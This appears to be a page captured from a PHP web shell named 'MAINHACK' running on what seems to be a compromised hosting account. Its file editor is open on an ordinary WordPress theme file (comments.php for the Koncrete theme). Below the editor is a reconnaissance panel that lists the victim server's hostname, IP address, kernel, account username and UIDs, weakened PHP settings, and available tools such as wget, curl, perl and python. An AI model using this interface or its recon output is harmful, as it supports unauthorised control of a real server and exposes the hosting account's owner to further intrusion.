[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: comments.php
<?php /** * @author RadiusTheme * @since 1.0 * @version 1.0 */ namespace radiustheme\Koncrete; if ( post_password_required() ) { return; } if ( !have_comments() && !comments_open() ) { return; } $comments_number = get_comments_number(); $comments_text = $comments_number < 2 ? esc_html__( 'Comment' , 'koncrete' ) : esc_html__( 'Comments' , 'koncrete' ); $zero_or_not = $comments_number < 10 ? esc_html__( '0' , 'koncrete' ) : ''; $comments_html = 'Comments ('. $zero_or_not . number_format_i18n( $comments_number ) .')'; $has_avatar = get_option( 'show_avatars' ); $comment_class = !$has_avatar ? ' avatar-disabled' : ''; $comment_args = array( 'callback' => 'radiustheme\Koncrete\Helper::comments_callback', 'reply_text' => esc_html__( 'Reply', 'koncrete' ), 'avatar_size' => 100, 'style' => 'ul', ); function rt_move_comment_form_below( $fields ) { $comment_field = $fields['comment']; unset( $fields['comment'] ); $fields['comment'] = $comment_field; return $fields; } add_filter( 'comment_form_fields', Constants::$theme_namespace . 'rt_move_comment_form_below' ); $rdtheme_commenter = wp_get_current_commenter(); $rdtheme_req = get_option( 'require_name_email' ); $rdtheme_aria_req = ( $rdtheme_req ? " required" : '' ); $comment_form_fields = array( 'author' => '<div class="row gutters-15"><div class="col-sm-4"><div class="form-group comment-form-author"><input type="text" id="author" name="author" value="' . esc_attr( $rdtheme_commenter['comment_author'] ) . '" placeholder="'.esc_attr__( 'Name', 'koncrete' ).( $rdtheme_req ? ' *' : '' ).'" class="form-control"' . $rdtheme_aria_req . '></div></div>', 'email' => '<div class="col-sm-4 comment-form-email"><div class="form-group"><input id="email" name="email" type="email" value="' . esc_attr( $rdtheme_commenter['comment_author_email'] ) . '" class="form-control" placeholder="'.esc_attr__( 'Email', 'koncrete' ).( $rdtheme_req ? ' *' : '' ).'"' . $rdtheme_aria_req . '></div></div>', 'url' => '<div class="col-sm-4 comment-form-website"><div class="form-group"><input id="website" name="website" type="text" value="' . esc_attr( $rdtheme_commenter['comment_author_url'] ) . '" class="form-control" placeholder="'.esc_attr__( 'Website', 'koncrete' ).( $rdtheme_req ? '' : '' ).'"' . $rdtheme_aria_req . '></div></div></div>', ); $comment_form_args = array( 'title_reply'=> esc_html__( 'Leave a Comment', 'koncrete' ), 'class_submit' => 'submit btn-send', 'submit_field' => '<div class="form-group form-submit">%1$s %2$s</div>', 'comment_field' => '<div class="form-group comment-form-comment"><textarea id="comment" name="comment" required placeholder="'.esc_attr__( 'Comment *', 'koncrete' ).'" class="textarea form-control" rows="10" cols="40"></textarea></div>', 'fields' => apply_filters( 'comment_form_default_fields', $comment_form_fields ), ); ?> <div id="comments" class="comments-area"> <?php if ( have_comments() ): ?> <h3 class="title title-bar-xl1"><?php echo esc_html( $comments_html );?></h3> <ul class="comment-list<?php echo esc_attr( $comment_class );?>"> <?php wp_list_comments( $comment_args ); ?> </ul> <?php the_comments_navigation(); ?> <?php endif;?> <?php if ( comments_open() ) : ?> <?php comment_form( $comment_form_args ); ?> <?php else: ?> <div class="comments-closed"><?php esc_html_e( 'Comments are closed.', 'koncrete' ); ?></div> <?php endif;?> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154